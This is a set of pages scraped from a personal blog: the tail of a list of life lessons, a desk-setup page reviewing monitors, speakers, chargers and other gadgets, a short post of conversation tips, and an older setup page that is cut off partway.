Imposter syndrome is a real challenge — feeling like you’re not truly qualified despite your successes. I’ve been there, feeling overwhelmed by new projects. But a wise lecturer once asked me if I could teach someone else my job and expect the company to function the same. Of course, the answer was no. That simple question reminded me that my experiences and knowledge are unique, and everyone successful has been in the same boat.
#### 23. Step Out of Your Comfort Zone
The conversation with her eventually leads to The Peter Principle, which posits that a person will be promoted until they reach a level of incompetence. This idea has helped me muster the courage to take on big projects. Stepping out of your comfort zone is essential for growth, even if it means sometimes feeling out of your depth.
### Finance
#### 24. Spend Responsibly by Budgeting
Budgeting isn’t just about tracking expenses; it’s about making conscious choices with your money. By setting a budget, you’re not restricting yourself — you’re empowering yourself to spend on what truly matters. It’s like giving your finances a road map, ensuring that every dollar has a purpose, and helping you avoid unnecessary stress down the road. Think of budgeting as the key to financial freedom, allowing you to enjoy life without the constant worry of overspending.
#### 25. Insurance is Important
Life is unpredictable, and that’s where insurance steps in. It’s your safety net, providing peace of mind when things don’t go as planned. Whether it’s health, auto, home, or life insurance, having the right coverage means you’re prepared for the unexpected. Think of insurance as your financial shield, protecting you and your loved ones from potential setbacks. It’s not just an expense — it’s an investment in your future security.
### Impact & Legacy
#### 26. Make a Difference in the World
Life isn’t just about you — it’s about the mark you leave on others. Whether through your work, relationships, or community efforts, aim to make a positive impact. Your influence can ripple far beyond what you might ever see.
#### 27. Give Back to Your Community
There’s a special kind of fulfillment in giving back. Whether you volunteer, donate, or simply show kindness, contributing to your community enriches both your life and others’. It’s the kind of investment that pays dividends in joy and connection.
#### 28. Pursue Meaningful Work
Work isn’t just about earning a paycheck — it’s about making a difference. Seek out work that resonates with your values and allows you to contribute meaningfully to the world. When your work aligns with your purpose, it becomes more than just a job.
#### 29. Leave a Lasting Legacy
Think about how you want to be remembered. Your daily actions shape the legacy you leave behind. Strive to create something positive and lasting, whether through your work, relationships, or societal contributions. Your legacy is your final gift to the world.
#### 30. Establish a Digital Will
Especially for tech enthusiasts, having a digital will is important. Your subscriptions, hardware, software — these aren’t things your family might know how to handle. It’s essential to plan for the handover of your digital assets. For someone like me, who runs a home lab, it’s vital to detail who should take over what, which services to keep, and which subscriptions to terminate. [Chrissy LeMaire](https://blog.netnerds.net/about/)’s guide one [End-of-life Disaster Response](https://github.com/potatoqualitee/eol-dr/tree/main) is an excellent reference for these matters. It’s all about making sure your digital life is responsibly passed on.
### Self-Reflection & Wisdom
#### 31. Live in the moment
The present moment is all we truly have. Don’t get lost in the past or fret about the future. Focus on the here and now, making the most of every second. Life is happening right now, so embrace it fully.
#### 32. Respect Differences
Our world is a mosaic of diverse people, cultures, religion, and perspectives. These differences make life richer and more vibrant. Respect them — diversity is what makes the world such an interesting place to live in.
#### 33. Define Your Own Success
Success is personal; don’t let society dictate what it should look like for you. Whether it’s a booming career, a loving family, or a peaceful life, define success on your own terms. It’s your life, after all.
#### 34. Be True to Yourself
Authenticity is about staying true to who you are, despite external pressures. Don’t mold yourself to fit someone else’s idea of who you should be. Be proud of who you are — flaws and all. Authenticity is your superpower.
#### 35. Strive for Authenticity, Not Perfection
Perfection is a mirage, but authenticity is powerful. Don’t chase an illusion—strive to be genuine. People are drawn to those who are real, not those who pretend to be flawless. In a world of copies, be an original.
### Conclusion
As I reflect on these 35 lessons, it’s clear that they’ve shaped not just how I live, but how I view the world. They serve as reminders to be intentional in my choices, to seek growth in every experience, and to stay true to who I am. Life is a constant journey of learning and evolving — embrace it fully, make each moment count, and never stop striving for a life that is both meaningful and fulfilling. These lessons are my compass, guiding me toward a future rich with purpose and joy.
---
---
title: "Setup"
url: "https://alsonkaw.com/desk-set-up/"
lang: "en-US"
type: "page"
description: "Desk Set-up My desk set-up for productivity. More detailed information below.Last updated: 6th September, 2024 Hide Hotspots 1. iPad Air 5 & Accessories2. Orico 5-Bay HDD Dock More info 3. Edifier R1280DBs More info 4. Scarlett 2i25.1 Sharge Elevator5.2 Sharge"
last_modified: "2025-10-22T05:54:09+00:00"
custom_fields:
page_custom_back_to_top: 1
back_to_top: "show"
---
# Setup
## Desk Set-up
My desk set-up for productivity. More detailed information below.
Last updated: 6th September, 2024
[
Hide Hotspots
](javascript:toggleHotspots();)

[
![]()
####
1. iPad Air 5 & Accessories
2. Orico 5-Bay HDD Dock
###### More info
](#)
[
![]()
####
3. Edifier R1280DBs
###### More info
](#)
[
![]()
####
4. Scarlett 2i2
5.1 Sharge Elevator
5.2 Sharge IceMag
5.3 Sharge Capsule Gravity
###### More info
](#)
[
![]()
####
6. Divoom Ditoo Plus
7. Gravastar Alpha65
###### More info
](#)
[
![]()
####
8. Dual Prism+ W280 Max
9. Mi Computer Monitor Light Bar
10.1 Logitech C920
10.2 SmallRig Encore DT-30
###### More info
](#)
[
![]()
####
11. SGUAI Smart Coffee Cup
12. UGreen 300W GaN Charger
13. Sharge Phantom Cable
14. ORICO Thunderbolt 3 Dock
###### More info
](#)
[
![]()
####
15. Tecware Haste CDR 900
###### More info
](#)
[
![]()
####
16.1 Skyloong GK 104 Pro
16.2 Hagibis Wrist Rest
###### More info
](#)
[
![]()
####
17.1 Logitech MX Master 4
17.2 DeltaHub Carpio 2
###### More info
](#)
[
![]()
####
18. Lenovo Smart Display 7
###### More info
](#)
[
![]()
####
19. IKEA Tertial Work Lamp
###### More info
](#)
[
![]()
####
20.1 Shure MV7
20.2 Samson MBA18
###### More info
](#)
[
![]()
####
21. Apple MacBook Pro 15″
###### More info
](#)
[
![]()
####
22. Aulumu M01
22.1 Apple Watch
22.2 Sony WF-1000XM5
22.3 iPhone 15 Pro Max
###### More info
](#)
[
![]()
####
23. Wowstick 1F+
###### More info
](#)

### Detailed Breakdowns

### 1. iPad Air 5 w/ Accessories
with Accessories
Got the [iPad Air 5](https://www.apple.com/sg/shop/buy-ipad/ipad-air) as an anniversary gift from work.
Paired with the [Logitech Combo Touch](https://www.logitech.com/en-sg/products/ipad-keyboards/combo-touch.html) case, [Pebble Mouse 2](https://www.logitech.com/en-us/products/mice/pebble-2-m350s-wireless-mouse.html), I’m able to do development work and enjoy entertainment even when travelling. When I’m home, I place it on the [Hagibis Rotating Tablet Stand](https://www.lazada.sg/products/hagibis-tablet-stand-adjustable-foldable-height-holder-aluminum-alloy-for-ipad-pro-97-105-129-air-mini-microsoft-surface-samsung-galaxy-kindle-switch-i2401896262-s14121476759.html) for easy view and access.
I’ve been looking to get a newer iPad for note-writing to fully transition over to digital notes.
I’ve been using it with GoodNotes 6 for a few months now and have thoroughly enjoyed the experience.

### 2. Orico 5-Bay HDD Dock
Disk Management & Backup
As a designer and developer, storage is always a problem, especially when you take into account PSDs, RAW video files as well as data dumps. I purchased the [Orico 5-Bay HDD Dock](https://www.amazon.sg/ORICO-Tool-Free-Magnetic-Type-Enclosure-External/dp/B086G97JCK/?crid=209NFV4XVGI9J&dib=eyJ2IjoiMSJ9.m8E2xnzi46wwD8y5wj3t6AJkpiHMGnohXeORUiZdrz1uWGpnXLojfrUGb3FD4KbpaiXyp4E2M6jnaDsjfZhpg_bg2D3tlL5UftO0HfX4pfLNZbyIjmlSlVlVuDW26MYmi4MlzD5gDNSj8sqDNtSWoQQaBztIGO5qFKB0WKH_xITl1otTr7TMStxCVZfIPGfFlC59KtN6ZPkI4RGyDGn6o30DX-n863stoCBFbiZFDp26pezn_-nCUCG-0h8kULuiyxju53puy-71mWGm8RnX_p_FPpyI94MkFzkQckj-pmg.-1vAI7fIFR6gEPCQeU2SnsxjKRrA1b2AOSV-BXlL0Hk&dib_tag=se&sprefix=orico+,aps,615) to help with the ease of adding & swapping different disks.
The dock also comes in clutch for when I need to set up new disks and has the function to clone disks too.

### 3. Edifier R1280DBs
Bookshelf Monitors
Considering my Macbook Pro is docked in clamshell mode and all monitor speakers are crap out of the box, I needed a good speaker solution. At first I was using a sound bar, but very soon found the sound to be very flat.
The [Edifier R1280DBs](https://www.edifier.com/global/p/bookshelf-speakers/r1280dbs) is one of the best speaker for their price point. You can easily find a new pair for below SGD$150.

### 4. Scarlett 2i2
Audio Interface
The de-facto home studio interface for many years, it’s no question why the [Scarlett 2i2](https://focusrite.com/products/scarlett-2i2) has a spot on my desk for the past 2 years.
It supports 2 universal inputs for a guitars and microphones which is perfect for a home studio.

### 5. Sharge Powerbanks
Portable Chargers
4.1 Sharge Elevator
The [Sharge Elevator](https://sharge.com/products/space-elevator) is a 5200mAh MagSafe power bank. I bought it together with the [Sharge Internet Host Key](https://sharge.com/products/internet-hostkey) as a collectible.
4.2 Sharge IceMag
The [Sharge IceMag](https://sharge.com/products/icemag-magnetic-wireless-power-bank), another MagSafe power bank with a 10,000mAh capacity was purchased for its novelty mini fan. It is supposed to lower the temperature while charging. After trying it out for a few months, I do not feel any difference. On the contrary, my phone sometimes feels warmer when using the IceMag compared to the Elevator.
I wouldn’t recommend getting the IceMag.
4.3 Sharge Capsule Gravity
The [Sharge Capsule Gravity](https://sharge.com/products/shargeek-capsule-gravity-5000mah-mini-power-bank-usb-c-fast-charging) was too cute to pass, I added all 3 colorways along with the Flow since it is also on 67% discount and kept one permanently on my speaker shelf.
It features a built-in Pomodoro alarm that you can activate by flipping it horizontally. I use it frequently to focus on tasks.

### 6. Divoom Ditoo Plus
Retro Pixel Art Bluetooth Speaker
A novelty toy I got as a gift, I quickly find the [Divoom Ditoo Plus](https://divoom.com/products/divoom-ditoo-plus) in a very welcoming spot right in the middle of my set up.
I rely on it for my mobile notifications as I get sucked into my bubble of work easily and tend to miss calls and notifications on my mobile when it’s left charging at the side.
I do not recommend using it as a bluetooth speaker due to the sound quality but I chuckle every time my neighbour(s) accidentally connect to it and it starts playing some weird music.

### 7. Gravastar Alpha65
Decorative GaN Charger
I bought a pair of the [Gravaster Alpha65 Charger](https://www.gravastar.com/products/alpha65-gan-fast-charger) on impulse as the Crystal Blue colorway is limited to only 2,000 worldwide. I kept the limited edition one BNIB and bought another Dawn White to pair with the Charcoal Gray. I bought these purely for aesthetics.
To date, I have only used them once. I consider them just as a couple of decorative expensive desk toys.

### 8. Dual Prism+ W280 Max
4K HDR10 Monitors
Upgraded from a single W270 Pro, I upgraded to the [W280 Max](https://web.archive.org/web/20210416205023mp_/https://prismplus.sg/collections/gaming-monitors/products/prism-w280-max) to cater for 4K content and productivity.
It’s not really suitable for gaming considering it’s capped at 60 FPS. The W280 Max has also since been discontinued and succeeded by the [W280 Ultra](https://web.archive.org/web/20210416205023mp_/https://prismplus.sg/collections/gaming-monitors/products/prism-w280-max).

### 9. Mi Computer Monitor Light Bar
Desk Lighting
I’m someone who loves to work in the dark (well, with SOME light). The [Mi Computer Monitor Light Bar](https://www.mi.com/global/product/mi-computer-monitor-light-bar/) is pretty much what is preventing me from ruining my eyes.
It illuminates my desk, ensuring I can see what’s on my desk no matter the time of day. I keep it on the warm light setting for a softer ambiance with the controller knob within arms reach.

### 10. Logitech C920 & SmallRig Encore DT-30
WebCam and Camera Rig
10.1 Logitech C920
Since the MacBook Pro is in clamshell mode on the desk, I bought the [Logitech C920 HD Pro](https://www.logitech.com/en-ch/products/webcams/c920-pro-hd-webcam.960-001055.html) after using my spare iPhone 11 Pro as a webcam.
10.2 SmallRig Encore DT-30 Desk Mount with Holding Arm
The webcam sits comfortably, mounted on the [SmallRig Encore DT-30 Desk Mount with Holding Arm](https://www.smallrig.com/SmallRig-Encore-DT-30-Desk-Mount-with-Holding-Arm-3992.html) behind the laptop stand so I don’t have to keep adjusting it as I take the laptop out for travel.

### 11. SGUAI Smart Coffee Cup
Caffeine Container with Style
Received the [SGUAI Smart Coffee Cup](https://shopee.sg/SGUAI-C3-Smart-Pixel-Coffee-Cup-350ml-Thermos-Insulated-Travel-Mug-DIY-Personalized-Text-Animation-Pixel-Expression-i.273466563.22464029045) from One2World as a gift. I’ve been using it as a coffee cup whenever I need caffeine.
It’s more of a gimmick than anything useful, although it can keep my drink warm for an average of 3-4 hours, it’s not any better than any other coffee cup.
The only interesting part is the LCD panel, which you can customize with text, pixel art or animation via Bluetooth using their companion app.

### 12. UGreen Nexode 300W GaN Charger
Desktop GaN Charger
Featuring 4 USB-C ports and a USB-A port, the [UGreen Nexode 300W GaN Charger](https://www.ugreen.com/products/ugreen-300w-desktop-usb-c-gan-charger) is hidden beside the shelving unit on the left of the monitor. It is capable of max output of 140W per USB-C port, up to 300W total output.
I use it mainly to charge my iPad, and any other accessories I need to fast charge. The USB-A port is also useful for some peripherals that can only be charged via USB-A to USB-C cables.

### 13. Sharge Phantom Cable
C-to-C 240W Charging Cable
The [Sharge Phantom](https://sharge.com/products/sharge-phantom-usb-c-to-usb-c-cable-240w-fast-charging-samsung-galaxy-huawei-xiaomi-4ft-tpe) cables are one of the best cables I’ve used. I like the texture and feel of it, and the logo that lights up is subtle and aesthetic. I keep a couple of them in my power bank pouch as well as a few of them lying around the house for whenever I need them.
I have them all in white, and that it can support 240W, and can pretty much future-proof my charging needs. I have two of them permanently on my table.

### 14. ORICO Thunderbolt 3 Dock
Thunderbol 3 Dock
I’ve been hunting for a TB3 and above dock to turn my setup into a one-cable connection for a long while and finally found the [ORICO TB3 Dock](https://www.amazon.sg/dp/B0B28JQ9KK) to be within a decent budget.
My monitors are connected via the DP and USB-C port from this dock, the rest of the USB peripherals are daisy-chained via a USB 2 hub to one of the USB 2 ports to reduce cables from the dock. The dock is hidden from view behind the bottom monitor.

### 15. Tecware Haste CDR 900
Cordura Military-Spec Grade Deskmat
The [Tecware Haste Cordura 900 Mouse Mat](https://www.tecware.co/haste-mousemats) rests right on top of a custom-printed desk mat that covers the entirety of my desk to cover up the old stains and heat damage my antique wooden desk accumulated over the years.
Considering I tend to snack and eat at my desk when I work from home, the Tecware Haste has been a godsend as the Cordura material allows me to just simply wipe it down and it doesn’t stain even if crumbs or soup drips on it.

### 16. Skyloong GK 104 Pro & Hagibis Wrist Rest
Keyboard and Wrist Rest
16.1 Skyloong GK 104 Pro
Saw Hipyo recommend this keyboard on his TikTok. Immediately bought it to replace my old Keychron K3 v2.
The [Skyloong GK 104 Pro](https://skyloongtech.com/skyloong-gk104pro/) features two LCD panel and 3 knobs. Those who know me well enough knows I cannot resist the knobs.
The larger LCD panel is also able to display the GIF of your choice. The smaller LCD can turn into a quick calculator with a switch on the side.
16.2 Hagibis Wrist Rest with Storage Case
The [Hagibis Wrist Rest](https://www.lazada.sg/products/hagibis-keyboard-wrist-rest-pad-ergonomic-soft-memory-foam-comfort-wrist-support-desktop-storage-box-easy-typing-pain-relief-for-office-home-computer-laptop-mac-gaming-mouse-keyboard-pad-mouse-pad-mousepad-i2791157620-s19926996676.html?spm=a2o42.tm80150924.7348285950.1.75aej3Caj3CaJw.75aej3Caj3CaJw) replaced my old HyperX wrist rest as I loved how I could store smaller items inside for quick access.
It currently holds some thumb drives, the remote for my speakers, a pen, some USB-C to USB-A adapters, a microSD to C adapter, as well as a SIM ejector tool.

### 17. Logitech MX Master 4 & DeltaHub Carpio 2
Productivity Mouse and Anti-Carpal Tunnel Wrist Skates
17.1 Logitech MX Master 4
I frequently work into the dead of the night and the virtually silent clicks, the horizontal scrollbar, and the hotkeys, the productivity-focused [Logitech MX Master 4](https://www.logitech.com/en-sg/shop/p/mx-master-4.910-007565) is the obvious choice here.
17.2 DeltaHub Carpio 2.0
Coupled with the [DeltaHub Carpio 2.0](https://us.deltahub.io/products/carpio-2), neither my hands nor my fingers has complained about the long hours I spend on my desk.

### 18. Lenovo Smart Display 7
Voice-Command Home Assistant
A Christmas gift given by my company. The [Lenovo Smart Display 7](https://www.lenovo.com/us/en/smart-display/) is the main hub of my home automation and occasionally tells me about the weather when I ask.

### 19. IKEA Tertial Work Lamp
Main Ambience Lighting
Being a fan of industrial design and aesthetics. The [IKEA Tertial Work Lamp](https://www.ikea.com/sg/en/p/tertial-work-lamp-dark-grey-50355395/) is an obvious choice when it comes to deciding on a desk lamp.
I fitted it with a [Tapo Multi-Color Smart Lightbulb](https://www.tapo.com/en/product/smart-light-bulb/tapo-l530e/), which I control via Google Home.

### 20. Shure MV7 & Samson MBA18
Studio-Quality Microphone & Arm
20.1 Shure MV7
One of the best microphones you can get for video conferences and podcasting in 2023 without having to purchase a bunch of other peripherals.
The [Shure MV7](https://www.shure.com/en-US/products/microphones/mv7?variant=MV7-K) is the little brother of the [SM7B](https://www.shure.com/en-US/products/microphones/sm7b?variant=SM7B). It can plug directly to your computer via USB and does not require an additional CloudLifter to remotely sound good, unlike it’s elder brother.
20.2 Samson MBA18
The microphone is mounted on the [Samson MBA18](https://samsontech.com/products/accessories/microphone-stands/mba18/), a desk clamp-styled extendable 18-inch Microphone Boom Arm.
Allowing me to shift it away when not in use to save precious desk space.

### 21. Apple 15″ M1 Max MacBook Pro
Main Workhorse of the Set-up
Being the core of my set-up, the [2021 M1 Max Macbook Pro](https://www.apple.com/sg/shop/refurbished/mac/1tb-space-grey-2021-16-inch-macbook-pro-32gb) is my daily driver for the past 3 years. I got it on launch as my old laptop screen was cracked. Luckily, I only had to endure the cracked screen for just 1 month prior to this purchase.
I spec’d mine with 32GB of unified memory, 10-core CPU, 32-core GPU in Space Grey. This ensures I can use this laptop for years to come.
Can’t live without this now.

### 22. Aulumu M01 & Daily Tech Carry
One-Stop Charging Solution for My Daily Tech Carry
22.1 Aulumu M01
I got the [Aulumu M01 Wireless Charging Station](https://aulumu.com/products/4-in-1-charging-station) to streamline my charging. It’s able to charge my phone, earbuds and watch all at once.
Ever since upgrading to iOS 17, the standby mode has been too aesthetic for me to ignore. I love how the notifications pop up and grab my attention while I’m working too.
It is also able to fold together into a flat pad too.
22.2 Apple Watch Series 9
I acquired the [Apple Watch Series 9](https://www.apple.com/watch/) this year to help with my sleep and notification management. The Apple Pay feature is also something I’ve wanted to make use of for quite awhile.
22.3 Sony WF-1000XM5
After using my Sony XM4 for a little more than 2.5 years, I decided to upgrade to the [Sony WF-1000XM5](https://www.sony.com.sg/headphones/products/wf-1000xm5).
In addition to the smaller size, Sony also upgraded the earbuds to a material more malleable and comfortable, which also helps to block out more noise.
I can’t commute without these nowadays.
22.4 iPhone 15 Pro Max
I bought the [iPhone 15 Pro Max](https://www.apple.com/sg/iphone-15-pro/) in March 2024 to replace my old iPhone 13 Pro, which I have been using for the past 2 years.
The 13 Pro’s camera module has already shown signs of giving up, with the 1x zoom camera dead, and the 3x zoom camera having white spots.
This is also the first time I’m using a phone larger than 16.1″. I would love to stay with the Pro series, however, the 5x optical zoom exclusive to the Pro Max was too enticing.
I equipped the phone with the [Aulumu A15 Vegan Leather Case](https://aulumu.com/products/a15-vegan-leather-case-for-iphone-15-series-unique-cooling-window-design-magsafe-compatible-%E7%9A%84%E5%89%AF%E6%9C%AC-%E7%99%BD%E8%89%B2) and attached the [G05 4-in-1 Phone Kickstand with Box Opener](https://aulumu.com/products/phone-stand) via MagSafe.

### 23. Wowstick 1F+
Main Workhorse of the Set-up
My go-to electric screwdriver set. I have it within arm’s reach beside my charging station. The Wowstick 1F+ also comes with an elegant stand. There’s also a small light that illuminates the screw when you turn it on.
It also comes with a magnetic pad to make sure you don’t lose the screws when you unscrew them.
---
---
title: "How to Convertium"
url: "https://alsonkaw.com/how-to-convertium/"
lang: "en-US"
type: "page"
last_modified: "2024-08-22T18:26:51+00:00"
custom_fields:
page_custom_back_to_top: 1
back_to_top: "show"
---
# How to Convertium
---
---
title: "7 Conversation Hacks"
url: "https://alsonkaw.com/muse/7-conversation-hacks/"
lang: "en-US"
type: "post"
description: "You know those parasitic fishes that stick themselves onto sharks and eat their leftovers? They are called the remora fish and the relationship between the sharks and these fishes are called a symbiotic relationship."
last_modified: "2024-08-23T04:31:57+00:00"
categories: [Psychology & Human Behavior]
---
# 7 Conversation Hacks
In the fast-paced world of meetings and social interactions, mastering the art of conversation can set you apart. Whether you’re navigating a business discussion or engaging in casual chat, with my experience, these seven hacks will help you steer the dialogue effectively and connect with others on a deeper level.
- **Say Their Name to Re-engage**
In group settings, it’s natural for someone to tune out if the topic doesn’t interest them. When you notice this, subtly bring them back by mentioning their name. It’s a gentle cue that the conversation is relevant to them again, pulling their focus back without disruption.
- **Repeat What’s Unclear**
When a point isn’t clear, don’t shy away from repeating the hard parts or the last thing they said, followed by a question mark. This not only signals your attentiveness but also encourages clarity. Asking questions when you’re unsure is a sign of engagement, not weakness.
- **Pause for Thought**
Conversations don’t need to be a race. If you need more time to think, pause. A brief silence can be powerful, giving both you and others a moment to process and reflect. It’s in these pauses that some of the best insights often surface.
- **Adjust Your Gaze for Influence**
Body language speaks volumes, even in subtle ways. By lowering your gaze slightly below the other person’s eye level, you create a dynamic where they feel more in control. It’s a technique borrowed from improv, where the position of your gaze can influence the perceived power dynamic in the conversation.
- **Eye Contact for Emphasis**
If you feel your point isn’t hitting home, or if it’s a critical part of the discussion, look the other person in the eye. Eye contact reinforces the importance of your message. Repeat your point clearly, but only once, to ensure it’s received without overemphasis.
- **Know When to Stop and Listen**
Sometimes, less is more. If you find yourself on a conversational roll, it might be time to stop and invite others to share their thoughts. A brief pause, especially one lasting five seconds, can reset the pace and invite others into the dialogue, making it more inclusive and balanced.
- **Gauge the Room’s Response**
Once you’ve spoken, tune in to the room’s reaction. If the conversation naturally continues on the same topic, you’ve likely conveyed your message well. However, if there’s an awkward silence, it might indicate that your point wasn’t clear. Use this feedback to refine your communication for better impact.
Mastering these conversational techniques can transform how you interact with others. Each of these hacks is designed to make your communication more intentional, effective, and engaging. By practicing these subtle adjustments, you’ll find that conversations flow more smoothly, and your connections with others will deepen. So next time you’re in a discussion, try out these hacks and see the difference they can make.
---
---
title: "Protected: Set-up-old"
url: "https://alsonkaw.com/setup-old/"
lang: "en-US"
type: "page"
description: "Desk Set-up My desk set-up for productivity. Last updated: 1st April, 2024 1. Aulumu M01 Wireless Charging Stand 2. Dual Prism+ W280 Max 3. Mi Computer Monitor Light Bar 4. Edifier R1280DBs 5. Wowstick 1F+ & 2-Bay Orico HDD Dock"
last_modified: "2026-01-14T04:06:01+00:00"
custom_fields:
page_custom_back_to_top: 1
back_to_top: "show"
---
# Protected: Set-up-old
## Desk Set-up
My desk set-up for productivity. Last updated: 1st April, 2024

[
##
1. Aulumu M01 Wireless Charging Stand
](#)
[
##
2. Dual Prism+ W280 Max
](#)
[
##
3. Mi Computer Monitor Light Bar
](#)
[
##
4. Edifier R1280DBs
](#)
[
##
5. Wowstick 1F+ & 2-Bay Orico HDD Dock
](#)
[
##
6. Sony WF-1000XM5 & Apple Watch Series 9
](#)
[
##
7. Scarlett 2i2, Sharge IceMag & Space Elevator
](#)
[
##
8. Skyloong GK 104 Pro
](#)
[
##
9. Divoom Ditoo Plus
](#)
[
##
10. 2021 MacBook Pro
](#)
[
##
11. Logitech C920 + SmallRig Encore DT-30
](#)
[
##
12. iPad Air 5
](#)
[
##
13. Logitech MX Master 3S + DeltaHub Carpio 2
](#)
[
##
14. Lenovo Smart Display 7
](#)
[
##
15. Shure MV7
](#)
[
##
16. Tecware Haste CDR 900 Mouse Mat
](#)
[
##
17. Ugreen Nexode 300W GaN & Orico ThunderBolt 3 Dock
](#)
[
##
18. Sharge Capsule Gravity
](#)
[
##
19. Gravastar Alpha65
](#)
[
##
20. Sharge Phantom 240W Cable
](#)
[
##
21. SGUAI Smart Coffee Cup
](#)
[
##
22. Orico 5 Bay HDD Bay
](#)
[
##
23. IKEA Tertial Work Lamp
](#)

## 1. Aulumu M01 Wireless Charging Station

I got the [Aulumu M01 Wireless Charging Station](https://aulumu.com/products/4-in-1-charging-station) to streamline my charging. It’s able to charge my phone, earbuds and watch all at once.
Ever since upgrading to iOS 17, the standby mode has been too aesthetic for me to ignore. I love how the notifications pop up and grab my attention while I’m working too.
It is also able to fold together into a flat pad too.
## 2. Dual Prism+ W280 Max

Upgraded from a single W270 Pro, the [W280 Max](https://web.archive.org/web/20210416205023mp_/https://prismplus.sg/collections/gaming-monitors/products/prism-w280-max) is the next step up for 4K productivity. It’s not really suitable for gaming considering it’s capped at 60 FPS. The monitors has also since been discontinued and succeeded by the [W280 Ultra](https://web.archive.org/web/20210416205023mp_/https://prismplus.sg/collections/gaming-monitors/products/prism-w280-max).
## 3. Mi Computer Monitor Light Bar

I’m someone who loves to work in the dark (well, with SOME light). The [Mi Computer Monitor Light Bar](https://www.mi.com/global/product/mi-computer-monitor-light-bar/) is pretty much what is preventing me from ruining my eyes.
It illuminates my desk, ensuring I can see what’s on my desk no matter the time of day. I keep it on warm light setting with the controller knob within arms reach.
## 4. Edifier R1280DBs

Considering my Macbook Pro is docked in clamshell mode and all monitor speakers are crap out of the box, I needed a good speaker solution. At first I was using a sound bar, but very soon found the sound to be very flat.
The [Edifier R1280DBs](https://www.edifier.com/global/p/bookshelf-speakers/r1280dbs) is one of the best speaker for their price point. You can easily find a new pair for below SGD$150.
## 5. Wowstick 1F+

My go-to electric screwdriver set. I have it within arm’s reach beside my charging station. The Wowstick 1F+ also comes with an elegant stand. There’s also a small light that illuminates the screw when you turn it on.
It also comes with a magnetic pad to make sure you don’t lose the screws when you unscrew them.
## 6. Sony WF-1000XM5 & Apple Watch Series 9

After using my Sony XM4 for a little more than 2.5 years, I decided to upgrade to the [Sony WF-1000XM5](https://www.sony.com.sg/headphones/products/wf-1000xm5).
In addition to the smaller size, Sony also upgraded the earbuds to a material more malleable and comfortable, which also helps to block out more noise.
I acquired the [Apple Watch Series 9](https://www.apple.com/watch/) this year to help with my sleep and notification management. The Apple Pay feature is also one of the main reasons for this purchase.
## 7.1 Scarlett 2i2

The de-facto home studio interface for many years, it’s no question why the [Scarlett 2i2](https://focusrite.com/products/scarlett-2i2) has a spot on my desk for the past 2 years.
It supports 2 universal inputs for a guitars and microphones which is perfect for a home studio.
## 7.2 Sharge Elevator & IceMag

The [Sharge Elevator](https://sharge.com/products/space-elevator) is a 5200mAh MagSafe power bank. I bought it together with the Sharge Host Key as a collectible.
The [Sharge IceMag](https://sharge.com/products/icemag-magnetic-wireless-power-bank), another MagSafe power bank with a 10,000mAh capacity was purchased for its novelty mini fan. It is supposed to lower the temperature while charging. After trying it out for a few months, I do not feel any difference. On the contrary, my phone sometimes feels warmer when using the IceMag compared to the Elevator.
I wouldn’t recommend getting the IceMag.
## 8.1 Skyloong GK 104 Pro

Saw Hipyo recommend this keyboard on his TikTok. Immediately bought it to replace my old Keychron K3 v2.
The [Skyloong GK 104 Pro](https://skyloongtech.com/skyloong-gk104pro/) features two LCD panel and 3 knobs. Those who know me well enough knows I cannot resist the knobs.
The larger LCD panel is also able to display the GIF of your choice. The smaller LCD can turn into a quick calculator with a switch on the side.
## 8.2 Hagibis Wrist Rest Pad with Storage Case

The [Hagibis Wrist Rest](https://www.lazada.sg/products/hagibis-keyboard-wrist-rest-pad-ergonomic-soft-memory-foam-comfort-wrist-support-desktop-storage-box-easy-typing-pain-relief-for-office-home-computer-laptop-mac-gaming-mouse-keyboard-pad-mouse-pad-mousepad-i2791157620-s19926996676.html?spm=a2o42.tm80150924.7348285950.1.75aej3Caj3CaJw.75aej3Caj3CaJw) replaced my old HyperX wrist rest as I loved how I could store smaller items inside for quick access.
It currently holds some thumb drives, the remote for my speakers, a pen, some USB-C to USB-A adapters, a microSD to C adapter, as well as a SIM ejector tool.
## 9. Divoom Ditoo Plus

A novelty toy I got as a gift, I quickly find the [Divoom Ditoo Plus](https://divoom.com/products/divoom-ditoo-plus) in a very welcoming spot right in the middle of my set up.
I rely on it for my mobile notifications as I get sucked into my bubble of work easily and tend to miss calls and notifications on my mobile when it’s left charging at the side.
I don’t ever use it as a bluetooth speaker and I chuckle every time my neighbour accidentally connect to it and it starts playing some weird music.
## 10. 2021 MacBook Pro

The centrepiece of my setup, the [2021 M1 Max Macbook Pro](https://www.apple.com/sg/shop/refurbished/mac/1tb-space-grey-2021-16-inch-macbook-pro-32gb) is my daily driver for the past 2 years. I got it on launch as my old laptop screen was cracked. Luckily, I only had to ensure the cracked screen for just 1 month prior to this purchase.
I spec’d mine with the 32GB of unified memory, 10-core CPU, 32-core GPU in Space Grey. This ensures I can use this laptop for years to come.
Can’t live without this now.
## 11. Logitech C920 + SmallRig Encore DT-30

Since the MacBook Pro is in clamshell mode on the desk, I bought the [Logitech C920 HD Pro](https://www.logitech.com/en-ch/products/webcams/c920-pro-hd-webcam.960-001055.html) after using my spare iPhone 11 Pro as a webcam.
The webcam sits comfortably, mounted on the [SmallRig Encore DT-30 Desk Mount with Holding Arm](https://www.smallrig.com/SmallRig-Encore-DT-30-Desk-Mount-with-Holding-Arm-3992.html) behind the laptop stand so I don’t have to keep adjusting it as I take the laptop out for travel.
## 12. iPad Air 5 + Accessories

Got the [iPad Air 5](https://www.apple.com/sg/shop/buy-ipad/ipad-air) as an anniversary gift from work.
Paired with the [Logitech Combo Touch](https://www.logitech.com/en-sg/products/ipad-keyboards/combo-touch.html) case, [Pebble Mouse 2](https://www.logitech.com/en-us/products/mice/pebble-2-m350s-wireless-mouse.html), I’m able to do development work and enjoy entertainment even when travelling. When I’m home, I place it on the [Hagibis Rotating Tablet Stand](https://www.lazada.sg/products/hagibis-tablet-stand-adjustable-foldable-height-holder-aluminum-alloy-for-ipad-pro-97-105-129-air-mini-microsoft-surface-samsung-galaxy-kindle-switch-i2401896262-s14121476759.html) for easy view and access.
I’ve been looking to get a newer iPad for note-writing to fully transition over to digital notes.
I’ve been using it with GoodNotes 6 for a few months now and have thoroughly enjoyed the experience.
## 13. Logitech MX Master 3S + DeltaHub Carpio 2

I frequently work into the dead of the night and the virtually silent clicks, the horizontal scrollbar and the hot keys, the productivity-focused [Logitech MX Master 3S](https://www.logitech.com/en-sg/products/mice/mx-master-3s.910-006561.html) is the obvious choice here.
Coupled with the [DeltaHub Carpio 2.0](https://us.deltahub.io/products/carpio-2), my hands haven’t complained about the long hours I spend on my desk.
## 14. Lenovo Smart Display 7

